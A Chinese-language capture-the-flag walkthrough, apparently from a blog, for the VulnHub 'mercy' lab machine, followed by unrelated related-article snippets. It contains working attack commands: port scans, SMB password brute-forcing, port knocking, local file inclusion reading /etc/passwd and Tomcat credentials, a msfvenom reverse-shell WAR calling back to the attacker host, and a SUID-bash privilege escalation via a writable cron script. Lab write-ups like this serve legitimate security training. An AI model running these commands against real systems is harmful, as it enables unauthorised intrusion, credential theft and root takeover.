vulnhub靶场之【digitalworld.local系列】的mercy靶机

前言

靶机:digitalworld.local-mercy,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp、udp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
grep open nmap-udp.nmap | grep -v "open|filtered" | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=53,110,139,143,445,993,995,8080,123,137

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail

6

7

对特定的端口号进行漏洞检测,前面端口的检测,基本上都是在中间人攻击时,数据传输的问题

这里对于http服务进行了简单的枚举

nmap --script=vuln 192.168.10.11 -p $ports -oA vuln

网站信息收集

还是从网站开始下手进行

访问8080端口的界面,查看页面源代码,无信息暴露,不过在文章最后提到两个地址,是可以访问的,不过需要认证,也就是登录

访问manager界面

访问host-manager界面

使用gobuster进行目录爆破,也可以使用其他工具,如dirb、dirsearch

gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

与之前使用nmap脚本时,枚举的差不多,这里主要就是robots.txt文件

访问robots.txt文件,发现一个路径

访问/tryharder/tryharder,发现是某种编码处理后的数据

根据特性,可能是base64编码,使用命令进行解码处理

echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d 

这里可以看到,解码后是一段内容,主要就是弱密码的问题,这里提示password,就是弱密码了

这里尝试之前的两个界面去登录测试,发现并不可取,啧,直接进行爆破也是可以,不过暂时继续收集信息

smb信息收集

使用enum4linux进行枚举,发现几个用户和共享

enum4linux -a 192.168.10.11

17

使用nmap的脚本进行探测

nmap --script=smb* 192.168.10.11

根据已知信息,进行汇集

用户名有pleadformercy、qiu、fluffy、thisisasuperduperlonguser

密码有一个暴露的提示,不知是否可用password,不过这也提示可能是弱密码

现在无ssh服务,可以进行密码爆破的有两处,一个是http的基本认证和smb的爆破

漏洞寻找

先进行爆破测试,把之前获取的用户名保存在user文件

hydra -L user -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.10.11 smb

这里可以看到,爆破出的密码和给出的密码是一样的,都是password

以这个账户去登录测试

smbclient //192.168.10.11/qiu -U qiu

把所有内容下载到kali

prompt		#关闭交互,这样下载时,默认选择yes
recurce		#开启递归,把文件夹中的文件也会下载
mget *		#下载所有内容

23

查看所有文件,寻找有无可用信息

访问.private目录时,发现有信息,这里可能有东西

关键配置文件泄露

最终在opensesame目录下的config文件发现好多配置

首先就是端口的开启与关闭,采用开门的形式,这里是对http80端口和ssh22端口的配置

先开启吧,这里可以使用knocknc按照序列即可开启端口

nc 192.168.10.11 159
nc 192.168.10.11 27391
nc 192.168.10.11 4

再开启22端口,一定要按照序列的顺序

knock 192.168.10.11 17301 28504 9999

后面的配置信息都是apache2smb的一些信息,并未透露什么敏感信息

那么访问80端口,只有这个信息,并且查看页面源代码也没有信息

和前面的8080端口网站一样,访问robots.txt文件试试有没有

发现两个路径/mercy、nomercy,访问mercy,发现是一段话,并且可能无用

访问nomercy,这可能是一个cms,并且在测试时,点击按钮无反应,并且界面中显示出了可能是cms的名称和版本信息

使用whatweb进行探测,确实如此

whatweb http://192.168.10.11/nomercy

漏洞利用

使用searchsploit搜索有无漏洞可利用,有一个

查看这个文档,两个可能,不过看来都像是文件包含

一个个的测试,先测试/windows/code.php

http://192.168.10.11/nomercy/windows/code.php?file=../../../../../../etc/passwd

这个也行,但是显示结果只有一行

http://192.168.10.11/nomercy/windows/function.php?file=../../../../../../etc/passwd

尝试进行远程文件包含测试,发现并不行,虽然远程文件是包含了,但是作为php相当于没有被解析

目前还有个8080端口的配置文件可以包含查看一下,其他文件尝试包含并不行

之前在8080端口的默认网站的最下面,提示到了这个用户方面的配置文件的位置/etc/tomcat7/tomcat-users.xml

直接包含这个文件进行查看,获取两组,不过从配置来看thisisasuperduperlonguser权限更大

用户名密码
thisisasuperduperlonguserheartbreakisinevitable
fluffyfreakishfluffybunny

通过war文件反弹shell

登录后,发现有部署war文件,那么就需要测试

使用msfenvm生成一个脚本

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.6 LPORT=9999 -f war -o shell.war

kali中使用nc监听对应的端口

nc -lvnp 9999

然后部署后,点击部署的名称shell,即可获取到反弹shell

水平提权

在这里折腾了一会,就没截图,直接切换fluffy用户,所用的密码就是在tomcat的配置文件中发现的两组用户,为什么能切换,首先就是确认了系统中有这个用户,然后就是测试是否存在一个密码多用的情况

fluffy的家目录下的一个文件夹中,发现一个疑似定时任务的脚本,所属者为root,并且这个文件别人是可以修改的

就先添加一句,因为目前不确定

echo "chmod +s /bin/bash" >> timeclock

靶机内信息收集

收集系统内核及系统版本

uname -a/-r
cat /etc/issue
cat /etc/*release

查看网络连接状态

ip add
ss -antlp

查看以root执行的进程

ps aux | grep root

上传pspy64脚本,发现无法执行,上传les.sh脚本,发现几个可能性高的漏洞

但是因为靶机内没有gcccc,所以我测试前面可能性较高的都无法执行后,就放弃了

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

垂直提权至root

这里测试sudo -l也是对当前用户无用的,这里的/bin/bash让我确信,是前面的定时脚本任务执行了

echo "chmod +s /bin/bash" >> timeclock

就是这个在前面先输入进去的

执行语句进行提权,然后查看/root下的证明

/bin/bash -p

总结

该靶机考察以下几点:

  1. 一个常见的robots.txt泄露敏感目录
  2. 常见的编码,这里是base64
  3. smb服务的连接,以及文件的下载
  4. 端口敲门服务,需要特定的序列顺序
  5. 识别cms并得知其漏洞,这里就是文件包含漏洞,但是配合tomcat的用户配置文件的位置泄露,导致获取到关键信息
  6. 对于tomcatwar文件部署,通过msfvenom生成脚本文件,并获取反弹shell
  7. 水平提权时,用户可能存在一码多用的情况
  8. 提权至root时,收集到一个疑似定时任务的脚本,尝试写入语句,最终成功执行了。不过这里没找到定时任务的内容,啧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/72797.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Fiddler抓取App接口-Andriod/IOS配置方法

Andriod配置方法: 1)确保手机和Fiddler所在主机在同一个局域网中 2)获取Fiddler所在主机的ip地址,通过cmd命令进入命令编辑器,输入ipconfig -all,找到IPv4地址,记下该地址 3)对手机…

步进电机软件细分算法解析与实践指南

1. 步进电机细分技术概述 步进电机是一种将电脉冲信号转换为角位移的执行机构,其基本运动单位为步距角。传统步进电机的步距角通常为 1.8(对应 200 步 / 转),但在高精度定位场景下,这种分辨率已无法满足需求。细分技术…

C语言_数据结构总结2:动态分配方式的顺序表

0——静态分配内存的顺序表和动态分配内存的顺序表的相同之处和不同之处 相同之处 基本操作逻辑相同:无论是静态分配还是动态分配的顺序表,其核心的操作逻辑是一致的。例如插入操作都需要将插入位置之后的元素依次后移,删除操作都需要将删除…

Vue 与 Element UI 深度探秘:从 Array.isArray 到动态绑定的技术之旅!✨

以下是一篇深入的技术博客&#xff0c;基于我们对 compare-form.vue 和 <w-form-select.vue> 的所有讨论&#xff0c;涵盖 Array.isArray、option-label/option-value、:list 动态绑定、: 语法以及 Vue 2/3 兼容性等问题。博客风格轻松有趣&#xff0c;加入 SVG 图解和实…

计算机视觉|3D卷积网络VoxelNet:点云检测的革新力量

一、引言 在科技快速发展的背景下&#xff0c;3D 目标检测技术在自动驾驶和机器人领域中具有重要作用。 在自动驾驶领域&#xff0c;车辆需实时、准确感知周围环境中的目标物体&#xff0c;如行人、车辆、交通标志和障碍物等。只有精确检测这些目标的位置、姿态和类别&#x…

前端打包优化相关 Webpack

前端打包优化相关 Webpack 打包时间的优化&#xff08;基于 Vue CLI 4 Webpack 5&#xff09; 1. Webpack 配置减少打包时间 1.1 对 JS 配置&#xff1a;排除 node_modules 和 src 中的打包内容 在开发环境下&#xff0c;修改 Webpack 的 JS 规则&#xff0c;排除 /node_m…

leetcode69.x 的平方根

题目&#xff1a; 给你一个非负整数 x &#xff0c;计算并返回 x 的 算术平方根 。 由于返回类型是整数&#xff0c;结果只保留 整数部分 &#xff0c;小数部分将被 舍去 。 注意&#xff1a;不允许使用任何内置指数函数和算符&#xff0c;例如 pow(x, 0.5) 或者 x ** 0.5 。…

Docker 部署 MongoDB 并持久化数据

Docker 部署 MongoDB 并持久化数据 在现代开发中&#xff0c;MongoDB 作为 NoSQL 数据库广泛应用&#xff0c;而 Docker 则提供了高效的容器化方案。本教程将介绍如何使用 Docker 快速部署 MongoDB&#xff0c;并实现数据持久化&#xff0c;确保数据不会因容器重启或删除而丢失…

信奥赛CSP-J复赛集训(模拟算法专题)(3):P1089 [NOIP 2004 提高组] 津津的储蓄计划

信奥赛CSP-J复赛集训&#xff08;模拟算法专题&#xff09;&#xff08;3&#xff09;&#xff1a;P1089 [NOIP 2004 提高组] 津津的储蓄计划 题目描述 津津的零花钱一直都是自己管理。每个月的月初妈妈给津津 300 300 300 元钱&#xff0c;津津会预算这个月的花销&#xff0…

日新F1、瑞研F600P 干线光纤熔接(熔接损耗最大0.03DB)

Ⅰ. 设备特性对比与实测验证 1. 日新F1&#xff08;两马达&#xff09;极限参数 切割角度&#xff1a;必须≤0.3&#xff08;双边累计误差&#xff1c;0.6&#xff09; ▶ 实测案例&#xff1a;切割0.35时&#xff0c;损耗波动达0.05-0.08dB&#xff08;超干线标准&#xff09…

【量化科普】Sharpe Ratio,夏普比率

【量化科普】Sharpe Ratio&#xff0c;夏普比率 &#x1f680;量化软件开通 &#x1f680;量化实战教程 在量化投资领域&#xff0c;夏普比率&#xff08;Sharpe Ratio&#xff09;是一个非常重要的风险调整后收益指标。它由诺贝尔经济学奖得主威廉F夏普&#xff08;William…

数据结构--【顺序表与链表】笔记

顺序表 template <class T> class arrList :public List<T> //表示 arrList 类以公有继承的方式继承自 List<T> 类 //公有继承意味着 List<T> 类的公共成员在 arrList 类中仍然是公共成员&#xff0c;受保护成员在 arrList 类中仍然是受保护成员。 { …

idea中隐藏目录

可能的解决步骤&#xff1a; 排除目录的方法是否在2021版本中有变化&#xff1f;应该没有&#xff0c;还是通过右键标记为排除。 用户可能想完全隐藏目录&#xff0c;比如在项目视图中不显示&#xff0c;这可能需要调整项目视图的设置&#xff0c;比如取消勾选“显示排除的文件…

AWS 如何导入内部SSL 证书

SSL 证书的很重要的功能就是 HTTP- > HTTPS, 下面就说明一下怎么导入ssl 证书,然后绑定证书到ALB. 以下示例说明如何使用 AWS Management Console 导入证书。 从以下位置打开 ACM 控制台:https://console.aws.amazon.com/acm/home。如果您是首次使用 ACM,请查找 AWS Cer…

2025最新群智能优化算法:基于RRT的优化器(RRT-based Optimizer,RRTO)求解23个经典函数测试集,MATLAB

一、基于RRT的优化器 基于RRT的优化器&#xff08;RRT-based Optimizer&#xff0c;RRTO&#xff09;是2025年提出的一种新型元启发式算法。其受常用于机器人路径规划的快速探索随机树&#xff08;RRT&#xff09;算法的搜索机制启发&#xff0c;首次将RRT算法的概念与元启发式…

doris: Oracle

Apache Doris JDBC Catalog 支持通过标准 JDBC 接口连接 Oracle 数据库。本文档介绍如何配置 Oracle 数据库连接。 使用须知​ 要连接到 Oracle 数据库&#xff0c;您需要 Oracle 19c, 18c, 12c, 11g 或 10g。 Oracle 数据库的 JDBC 驱动程序&#xff0c;您可以从 Maven 仓库…

im即时聊天客服系统SaaS还是私有化部署:成本、安全与定制化的权衡策略

随着即时通讯技术的不断发展&#xff0c;IM即时聊天客服系统已经成为企业与客户沟通、解决问题、提升用户体验的重要工具。在选择IM即时聊天客服系统时&#xff0c;企业面临一个重要决策&#xff1a;选择SaaS&#xff08;软件即服务&#xff09;解决方案&#xff0c;还是进行私…

mysql中in和exists的区别?

大家好&#xff0c;我是锋哥。今天分享关于【mysql中in和exists的区别?】面试题。希望对大家有帮助&#xff1b; mysql中in和exists的区别? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 在 MySQL 中&#xff0c;IN 和 EXISTS 都用于进行子查询&#xff0c;但它…

element-plus中table组件的使用

1、table组件的基本使用 注意&#xff1a; ①对象集合&#xff0c;要从后端查询。 ②prop是集合中的对象的属性名&#xff1b;label是表格表头的名称。 2、将性别一列的71转为男&#xff0c;72转为女 问题描述&#xff1a; 解决步骤&#xff1a; ①将el-table-column变成双标签…

Django小白级开发入门

1、Django概述 Django是一个开放源代码的Web应用框架&#xff0c;由Python写成。采用了MTV的框架模式&#xff0c;即模型M&#xff0c;视图V和模版T。 Django 框架的核心组件有&#xff1a; 用于创建模型的对象关系映射为最终用户设计较好的管理界面URL 设计设计者友好的模板…